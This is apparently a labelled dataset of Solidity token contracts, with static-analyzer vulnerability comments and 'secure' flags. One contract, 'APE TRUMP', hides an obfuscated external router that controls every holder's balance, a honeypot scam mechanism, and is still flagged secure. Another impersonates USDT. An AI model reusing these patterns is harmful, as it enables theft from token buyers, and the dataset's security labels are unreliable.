Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for dcc7ad6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8e645f2\n\t\t// reentrancy-events | ID: dba685a\n\t\t// reentrancy-events | ID: 73d676f\n\t\t// reentrancy-eth | ID: b8bf2cb\n\t\t// reentrancy-eth | ID: f954626\n\t\t// reentrancy-eth | ID: ab2fb85\n\t\t// arbitrary-send-eth | ID: dcc7ad6\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 73d676f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 73d676f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f8897b6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f8897b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dd4117c): Contract.Launch() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for dd4117c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d233e39): Contract.Launch() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d233e39: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f954626): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f954626: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ab2fb85): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ab2fb85: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Launch() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 73d676f\n\t\t// reentrancy-benign | ID: f8897b6\n\t\t// reentrancy-eth | ID: f954626\n\t\t// reentrancy-eth | ID: ab2fb85\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: 73d676f\n\t\t// reentrancy-benign | ID: f8897b6\n\t\t// reentrancy-eth | ID: f954626\n\t\t// reentrancy-eth | ID: ab2fb85\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 73d676f\n\t\t// reentrancy-benign | ID: f8897b6\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: dd4117c\n\t\t// reentrancy-eth | ID: ab2fb85\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: d233e39\n\t\t// reentrancy-eth | ID: ab2fb85\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: ab2fb85\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ab2fb85\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}",
"file_name": "solidity_code_3958.sol",
"secure": 0,
"size_bytes": 18725
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract APETRP is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: d034692): APETRP._totalSupply should be constant \n\t// Recommendation for d034692: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1500000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 574537d): APETRP._name should be constant \n\t// Recommendation for 574537d: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"APE TRUMP\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ee23a1): APETRP._symbol should be constant \n\t// Recommendation for 7ee23a1: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"APETRUMP\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 15da8b5): APETRP.Router2Instance should be immutable \n\t// Recommendation for 15da8b5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n uint256 cc = aEdZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: fa21b8b): APETRP.bb should be constant \n\t// Recommendation for fa21b8b: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (bb +\n a +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}",
"file_name": "solidity_code_3959.sol",
"secure": 1,
"size_bytes": 6280
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ContextUpgradeable.sol\" as ContextUpgradeable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC20Errors.sol\" as IERC20Errors;\n\nabstract contract ERC20Upgradeable is\n Initializable,\n ContextUpgradeable,\n IERC20,\n IERC20Metadata,\n IERC20Errors\n{\n struct ERC20Storage {\n mapping(address account => uint256) _balances;\n mapping(address account => mapping(address spender => uint256)) _allowances;\n uint256 _totalSupply;\n string _name;\n string _symbol;\n }\n\n bytes32 private constant ERC20StorageLocation =\n 0x52c63247e1f47db19d5ce0460030c497f067ca4cebf71ba98eeadabe20bace00;\n\n function _getERC20Storage() private pure returns (ERC20Storage storage $) {\n assembly {\n $.slot := ERC20StorageLocation\n }\n }\n\n function __ERC20_init(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n __ERC20_init_unchained(name_, symbol_);\n }\n\n function __ERC20_init_unchained(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n ERC20Storage storage $ = _getERC20Storage();\n\n $._name = name_;\n\n $._symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n ERC20Storage storage $ = _getERC20Storage();\n\n return $._name;\n }\n\n function symbol() public view virtual returns (string memory) {\n ERC20Storage storage $ = _getERC20Storage();\n\n return $._symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n ERC20Storage storage $ = _getERC20Storage();\n\n return $._totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n ERC20Storage storage $ = _getERC20Storage();\n\n return $._balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n ERC20Storage storage $ = _getERC20Storage();\n\n return $._allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n ERC20Storage storage $ = _getERC20Storage();\n\n if (from == address(0)) {\n $._totalSupply += value;\n } else {\n uint256 fromBalance = $._balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n $._balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n $._totalSupply -= value;\n }\n } else {\n unchecked {\n $._balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n ERC20Storage storage $ = _getERC20Storage();\n\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n $._allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}",
"file_name": "solidity_code_396.sol",
"secure": 1,
"size_bytes": 6163
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract CustomToken is IERC20 {\n\t// WARNING Optimization Issue (immutable-states | ID: d16c0d1): CustomToken._owner should be immutable \n\t// Recommendation for d16c0d1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _owner;\n\n mapping(address => uint256) public balances;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n uint256 public immutable totalSupply;\n\n string public name;\n\n string public symbol;\n\n uint8 public constant decimals = 18;\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"not owner\");\n\n _;\n }\n\n constructor(string memory _name, string memory _symbol) {\n _owner = msg.sender;\n\n name = _name;\n\n symbol = _symbol;\n\n balances[msg.sender] += 1000000000 * 10 ** decimals;\n\n totalSupply += 1000000000 * 10 ** decimals;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return balances[account];\n }\n\n function _transfer(address from, address to, uint256 amount) internal {\n require(to != address(0), \"transfer to 0x0\");\n\n require(balances[from] >= amount, \"balance not enough!\");\n\n balances[from] -= amount;\n\n balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n allowance[owner][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n require(\n allowance[sender][msg.sender] >= amount,\n \"allowance not enough!\"\n );\n\n _approve(sender, msg.sender, allowance[sender][msg.sender] - amount);\n\n _transfer(sender, recipient, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_3960.sol",
"secure": 1,
"size_bytes": 2491
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract GatotKacaTokenUSDT is IERC20 {\n string public constant name = \"USDT\";\n\n string public constant symbol = \"USDT\";\n\n uint8 public constant decimals = 6;\n\n uint256 private _totalSupply;\n\n address private immutable _owner;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n modifier onlyOwner() {\n require(msg.sender == _owner, \"Only owner can call this function\");\n\n _;\n }\n\n constructor(uint256 initialSupply) {\n _owner = msg.sender;\n\n _totalSupply = initialSupply * 10 ** uint256(decimals);\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external override returns (bool) {\n require(to != address(0), \"Transfer to the zero address\");\n\n require(_balances[msg.sender] >= amount, \"Insufficient balance\");\n\n _balances[msg.sender] -= amount;\n\n _balances[to] += amount;\n\n emit Transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external override returns (bool) {\n require(to != address(0), \"Transfer to the zero address\");\n\n require(_balances[from] >= amount, \"Insufficient balance\");\n\n require(_allowances[from][msg.sender] >= amount, \"Allowance exceeded\");\n\n _balances[from] -= amount;\n\n _balances[to] += amount;\n\n _allowances[from][msg.sender] -= amount;\n\n emit Transfer(from, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function mint(uint256 amount) external onlyOwner {\n _totalSupply += amount * 10 ** uint256(decimals);\n\n _balances[_owner] += amount * 10 ** uint256(decimals);\n\n emit Transfer(address(0), _owner, amount * 10 ** uint256(decimals));\n }\n\n function burn(uint256 amount) external onlyOwner {\n require(\n _balances[_owner] >= amount * 10 ** uint256(decimals),\n \"Insufficient balance\"\n );\n\n _totalSupply -= amount * 10 ** uint256(decimals);\n\n _balances[_owner] -= amount * 10 ** uint256(decimals);\n\n emit Transfer(_owner, address(0), amount * 10 ** uint256(decimals));\n }\n\n function swap(address tokenAddress, uint256 amount) external {\n IERC20 otherToken = IERC20(tokenAddress);\n\n require(_balances[msg.sender] >= amount, \"Insufficient balance\");\n\n require(\n _allowances[msg.sender][address(this)] >= amount,\n \"Allowance exceeded\"\n );\n\n _balances[msg.sender] -= amount;\n\n _balances[address(this)] += amount;\n\n _allowances[msg.sender][address(this)] -= amount;\n\n emit Transfer(msg.sender, address(this), amount);\n\n require(\n otherToken.transfer(msg.sender, amount),\n \"Transfer of other token failed\"\n );\n }\n\n function withdraw(\n address tokenAddress,\n address to,\n uint256 amount\n ) external onlyOwner {\n IERC20 token = IERC20(tokenAddress);\n\n require(token.transfer(to, amount), \"Withdraw failed\");\n }\n}",
"file_name": "solidity_code_3961.sol",
"secure": 1,
"size_bytes": 4170
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MyToken is IERC20 {\n\t// WARNING Optimization Issue (immutable-states | ID: 1d3a377): MyToken._owner should be immutable \n\t// Recommendation for 1d3a377: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _owner;\n\n mapping(address => uint256) public balances;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n uint256 public immutable totalSupply;\n\n string public name;\n\n string public symbol;\n\n uint8 public constant decimals = 18;\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"not owner\");\n\n _;\n }\n\n constructor(string memory _name, string memory _symbol) {\n _owner = msg.sender;\n\n name = _name;\n\n symbol = _symbol;\n\n balances[msg.sender] += 100000000 * 10 ** decimals;\n\n totalSupply += 100000000 * 10 ** decimals;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return balances[account];\n }\n\n function _transfer(address from, address to, uint256 amount) internal {\n require(to != address(0), \"transfer to 0x0\");\n\n require(balances[from] >= amount, \"balance not enough!\");\n\n balances[from] -= amount;\n\n balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n allowance[owner][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n require(\n allowance[sender][msg.sender] >= amount,\n \"allowance not enough!\"\n );\n\n _approve(sender, msg.sender, allowance[sender][msg.sender] - amount);\n\n _transfer(sender, recipient, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_3962.sol",
"secure": 1,
"size_bytes": 2481
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract ERC20Basic {\n function totalSupply() public view virtual returns (uint256);\n\n function balanceOf(address who) public view virtual returns (uint256);\n\n function transfer(address to, uint256 value) public virtual returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}",
"file_name": "solidity_code_3963.sol",
"secure": 1,
"size_bytes": 403
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Basic.sol\" as ERC20Basic;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BasicToken is ERC20Basic {\n using SafeMath for uint256;\n\n mapping(address => uint256) balances;\n\n uint256 totalSupply_;\n\n function totalSupply() public view virtual override returns (uint256) {\n return totalSupply_;\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) public virtual override returns (bool) {\n require(_to != address(0), \"transfer1\");\n\n require(_value <= balances[msg.sender], \"transfer2\");\n\n balances[msg.sender] = balances[msg.sender].sub(_value);\n\n balances[_to] = balances[_to].add(_value);\n\n emit Transfer(msg.sender, _to, _value);\n\n return true;\n }\n\n function balanceOf(\n address _owner\n ) public view virtual override returns (uint256 balance) {\n return balances[_owner];\n }\n}",
"file_name": "solidity_code_3964.sol",
"secure": 1,
"size_bytes": 1033
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./BasicToken.sol\" as BasicToken;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BurnableToken is BasicToken {\n using SafeMath for uint256;\n\n event Burn(address indexed burner, uint256 value);\n\n function burn(uint256 _value) public virtual {\n require(_value <= balances[msg.sender]);\n\n address burner = msg.sender;\n\n balances[burner] = balances[burner].sub(_value);\n\n totalSupply_ = totalSupply_.sub(_value);\n\n emit Burn(burner, _value);\n\n emit Transfer(burner, address(0), _value);\n }\n}",
"file_name": "solidity_code_3965.sol",
"secure": 1,
"size_bytes": 664
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./BasicToken.sol\" as BasicToken;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract StandardToken is ERC20, BasicToken {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) internal allowed;\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public virtual override returns (bool) {\n require(_to != address(0), \"transferFrom1\");\n\n require(_value <= balances[_from], \"transferFrom2\");\n\n require(_value <= allowed[_from][msg.sender], \"transferFrom3\");\n\n balances[_from] = balances[_from].sub(_value);\n\n balances[_to] = balances[_to].add(_value);\n\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\n\n emit Transfer(_from, _to, _value);\n\n return true;\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public virtual override returns (bool) {\n require((_value == 0) || (allowed[msg.sender][_spender] == 0));\n\n allowed[msg.sender][_spender] = _value;\n\n emit Approval(msg.sender, _spender, _value);\n\n return true;\n }\n\n function allowance(\n address _owner,\n address _spender\n ) public view virtual override returns (uint256) {\n return allowed[_owner][_spender];\n }\n}",
"file_name": "solidity_code_3966.sol",
"secure": 1,
"size_bytes": 1526
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./StandardToken.sol\" as StandardToken;\nimport \"./BurnableToken.sol\" as BurnableToken;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./ERC20Basic.sol\" as ERC20Basic;\n\ncontract XTICKET is StandardToken, BurnableToken, Ownable {\n using SafeMath for uint256;\n\n string public constant symbol = \"XTC\";\n\n string public constant name = \"XTICKET\";\n\n uint8 public constant decimals = 18;\n\n uint256 public constant INITIAL_SUPPLY =\n 1000000000 * (10 ** uint256(decimals));\n\n address public adminAddr;\n\n bool public transferEnabled = true;\n\n mapping(address => uint256) private lockedAccounts;\n\n modifier onlyWhenTransferAllowed() {\n require(\n transferEnabled == true || msg.sender == adminAddr,\n \"transferAllowed\"\n );\n\n _;\n }\n\n modifier onlyValidDestination(address to) {\n require(\n to != address(0) &&\n to != address(this) &&\n to != owner &&\n to != adminAddr,\n \"validDestination\"\n );\n\n _;\n }\n\n modifier onlyAllowedAmount(address from, uint256 amount) {\n require(\n balances[from].sub(amount) >= lockedAccounts[from],\n \"allowedAmount\"\n );\n\n _;\n }\n\n constructor() {\n totalSupply_ = INITIAL_SUPPLY;\n\n balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n\n adminAddr = msg.sender;\n }\n\n event TransferEnabled();\n\n event TransferDisabled();\n\n event AdminAddrChanged(\n address indexed previousAdminAddr,\n address indexed newAdminAddr\n );\n\n function enableTransfer() external onlyOwner {\n transferEnabled = true;\n\n emit TransferEnabled();\n }\n\n function disableTransfer() external onlyOwner {\n transferEnabled = false;\n\n emit TransferDisabled();\n }\n\n function transfer(\n address to,\n uint256 value\n )\n public\n override(BasicToken, ERC20Basic)\n onlyWhenTransferAllowed\n onlyValidDestination(to)\n onlyAllowedAmount(msg.sender, value)\n returns (bool)\n {\n return super.transfer(to, value);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n )\n public\n override(StandardToken)\n onlyWhenTransferAllowed\n onlyValidDestination(to)\n onlyAllowedAmount(from, value)\n returns (bool)\n {\n return super.transferFrom(from, to, value);\n }\n\n function burn(uint256 value) public override onlyOwner {\n require(transferEnabled);\n\n super.burn(value);\n }\n\n event AccountLocked(address indexed addr, uint256 amount);\n\n event AccountUnlocked(address indexed addr);\n\n function lockAccount(\n address addr,\n uint256 amount\n ) external onlyOwner onlyValidDestination(addr) {\n require(amount > 0);\n\n lockedAccounts[addr] = amount;\n\n emit AccountLocked(addr, amount);\n }\n\n function unlockAccount(\n address addr\n ) external onlyOwner onlyValidDestination(addr) {\n lockedAccounts[addr] = 0;\n\n emit AccountUnlocked(addr);\n }\n\n function changeAdminAddr(address newAdminAddr) external onlyOwner {\n require(newAdminAddr != address(0));\n\n adminAddr = newAdminAddr;\n\n emit AdminAddrChanged(adminAddr, newAdminAddr);\n }\n}",
"file_name": "solidity_code_3967.sol",
"secure": 1,
"size_bytes": 3744
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract DJT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n address payable private _TaxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc89548): DJT._initialBuyTax should be constant \n\t// Recommendation for dc89548: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 182a1e2): DJT._initialSellTax should be constant \n\t// Recommendation for 182a1e2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 1;\n\n uint256 private _finalSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ac4fd8): DJT._reduceBuyTaxAt should be constant \n\t// Recommendation for 1ac4fd8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 363ab88): DJT._reduceSellTaxAt should be constant \n\t// Recommendation for 363ab88: Add the 'constant' attribute to state variables that never 